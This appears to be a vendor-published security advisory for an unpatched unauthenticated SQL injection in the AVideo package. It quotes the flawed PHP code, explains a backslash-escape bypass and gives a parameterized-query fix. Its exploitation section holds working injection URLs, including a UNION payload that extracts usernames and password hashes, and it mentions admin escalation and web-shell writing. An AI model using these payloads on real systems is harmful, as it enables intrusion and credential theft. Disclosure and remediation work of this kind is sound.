GHSA-mcj5-6qr4-95fj is a critical-severity (CVSS 9.8) SQL Injection vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-mcj5-6qr4-95fj.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-mcj5-6qr4-95fj plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated SQL injection vulnerability exists in objects/category.php in the getAllCategories() method. The doNotShowCats request parameter is sanitized only by stripping single-quote characters (str_replace("'", '', ...)), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in objects/security.php.
Affected Component
File: objects/category.php, lines 386-394, inside method getAllCategories()
if (!empty($_REQUEST['doNotShowCats'])) {
$doNotShowCats = $_REQUEST['doNotShowCats'];
if (!is_array($_REQUEST['doNotShowCats'])) {
$doNotShowCats = array($_REQUEST['doNotShowCats']);
}
foreach ($doNotShowCats as $key => $value) {
$doNotShowCats[$key] = str_replace("'", '', $value); // INSUFFICIENT
}
$sql .= " AND (c.clean_name NOT IN ('" . implode("', '", $doNotShowCats) . "') )";
}
Root Cause
- Incomplete sanitization: The only defense is
str_replace("'", '', $value), which strips single-quote characters. It does not strip backslashes (\). - No global filter coverage: The
doNotShowCatsparameter is absent from every filter list inobjects/security.php($securityFilter,$securityFilterInt,$securityRemoveSingleQuotes,$securityRemoveNonChars,$securityRemoveNonCharsStrict,$filterURL, and the_idsuffix pattern). - Direct string concatenation into SQL: The filtered values are concatenated into the SQL query via
implode()instead of using parameterized queries.
Exploitation
MySQL, by default, treats the backslash (\) as an escape character inside string literals (unless NO_BACKSLASH_ESCAPES SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that implode() adds, shifting the string boundary and turning the next array element into executable SQL.
Step-by-step:
-
The attacker sends:
GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=)%20OR%201=1)--%20- -
After
str_replace("'", '', ...), values are unchanged (no single quotes to strip):- Element 0:
\ - Element 1:
) OR 1=1)-- -
- Element 0:
-
After
implode("', '", ...), the concatenated string is:\', ') OR 1=1)-- - -
The full SQL becomes:
AND (c.clean_name NOT IN ('\', ') OR 1=1)-- -') ) -
MySQL parses this as:
'\'— the\escapes the next', making it a literal quote character inside the string. The string continues., '— the comma and space are part of the string. The next'(which was the opening quote of element 1) closes the string.- String value =
',(three characters: quote, comma, space) ) OR 1=1)— executable SQL. The first)closesNOT IN (, the second)closes the outerAND (.-- -— SQL comment, discards the remainder') )
Effective SQL:
AND (c.clean_name NOT IN (', ') OR 1=1)This always evaluates to
TRUE.
For data extraction (UNION-based):
GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-
Produces:
AND (c.clean_name NOT IN ('\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )
This appends a UNION query that extracts usernames and password hashes from the users table. The attacker must match the column count of the original SELECT (determinable through iterative probing).
Impact
- Confidentiality: Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration.
- Integrity: Ability to modify or delete any data in the database via stacked queries or subqueries (e.g.,
UPDATE users SET isAdmin=1). - Availability: Ability to drop tables or corrupt data.
- Potential RCE: On MySQL configurations that allow
SELECT ... INTO OUTFILE, the attacker could write a PHP web shell to the server's document root.
Suggested Fix
Replace the string concatenation with parameterized queries:
if (!empty($_REQUEST['doNotShowCats'])) {
$doNotShowCats = $_REQUEST['doNotShowCats'];
if (!is_array($doNotShowCats)) {
$doNotShowCats = array($doNotShowCats);
}
$placeholders = array_fill(0, count($doNotShowCats), '?');
$formats = str_repeat('s', count($doNotShowCats));
$sql .= " AND (c.clean_name NOT IN (" . implode(',', $placeholders) . ") )";
// Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters
}
Alternatively, use $global['mysqli']->real_escape_string() on each value as a minimum fix, though parameterized queries are strongly preferred.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-mcj5-6qr4-95fj yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-mcj5-6qr4-95fj can be triaged on real exposure rather than presence alone.
Tailored to GHSA-mcj5-6qr4-95fj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mcj5-6qr4-95fj in your dependencies?
O3 Security finds GHSA-mcj5-6qr4-95fj across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.